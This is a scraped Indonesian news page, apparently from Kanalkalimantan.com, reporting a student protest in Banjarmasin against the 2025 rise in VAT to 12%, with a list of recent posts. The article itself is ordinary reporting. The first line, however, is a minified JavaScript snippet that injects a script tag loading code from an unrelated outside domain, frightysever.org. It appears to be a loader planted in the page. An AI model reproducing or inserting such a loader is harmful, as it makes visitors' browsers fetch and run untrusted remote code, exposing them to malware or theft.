(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tak Berdaya Kenaikan PPN 12%, Mahasiswa Kalsel Simbolik Tiarap di Jalan


KANALKALIMANTAN.COM, BANJARMASIN – Aksi tak biasa dilakukan gabungan mahasiswa di Banjarmasin yang menggelar unjuk rasa menolak kebijakan kenaikan Pajak Pertambahan Nilai (PPN) 12% yang berlaku sejak 1 Januari 2025.

Mahasiswa dan mahasiswi tiarap bersama di Jalan Lambung Mangkurat depan Rumah Banjar – sebutan gedung DPRD Provinsi Kalimantan Selatan- di Banjarmasin.

Ketua BEM SI Kalsel Muhamad Syamsu Rizal mengatakan, aksi tiarap merupakan simbolik yang ingin ditujukan mahasiswa terhadap kebijakan kenaikan PPN 12% tahun 2025.

“Kita tiarap menyimbolkan ketidakberdayaan masyarakat, ketidakberdayaan mahasiswa untuk melawan,” ungkap Ketua BEM ULM ini.

Baca juga: Mahasiswa Desak Presiden Terbitkan Perppu Batalkan Kenaikan PPN 12%

Pada aksi unjuk rasa ini, gabungan mahasiswa dari berbagai kampus di Banjarmasin menyampaikan lima hal kepada wakil rakyat Kalsel.

Diantaranya, mereka menolak tegas PPN 12 % yang berlaku sejak 1 Januari 2025. Dan mendesak anggota DPRD Kalsel menolak dan menyampaikan tuntutan mereka ke pusat.

Kemudian mereka mendesak Presiden Prabowo Subianto untuk menerbitkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) pembatalan PPN 12 %.

Baca juga: 12 Kg Sabu dan 4.460 Butir Happy Five Dimusnahkan Polres Banjarbaru

“Kami mendesak pemerintah daerah maupun pusat untuk membahas secara utuh kebijakan fiskal yang berkeadilan,” kata Muhamad Syamsu.

“Mahasiswa juga mendesak pemerintah pusat untuk kemudian menyalurkan pajak yang diambil dari rakyat untuk dipergunakan sesuai amanat, sebesar besarnya untuk masyarakat,” sambungnya.

Pada unjuk rasa itu, mahasiswa Kalsel menyuarakan desakan kepada DPR RI untuk segera mengesahkan Rancangan Undang-Undang (RUU) Masyarakat Adat dan RUU Perampasan Aset menjadi Undang-Undang.

Sementara itu, Wakil Ketua DPRD Kalsel Kartoyo yang menemui massa mengatakan bahwa dewan akan menyerap aspirasi mahasiswa untuk disampaikan ke pusat.

Baca juga: BREAKING NEWS! Mahasiswa Kalsel Unjuk Rasa Tolak Kenaikan PPN 12%

“Kita respon baik, kita sampaikan ke pusat secara kelembagaan,” kata anggota DPRD Kalsel dari Fraksi Nasdem.

Setelah sekitar dua jam berorasi menyampaikan aspirasi, mahasiswa membubarkan diri meninggalkan gedung DPRD Kalsel secara tertib. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

9 menit ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

15 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

17 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

19 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.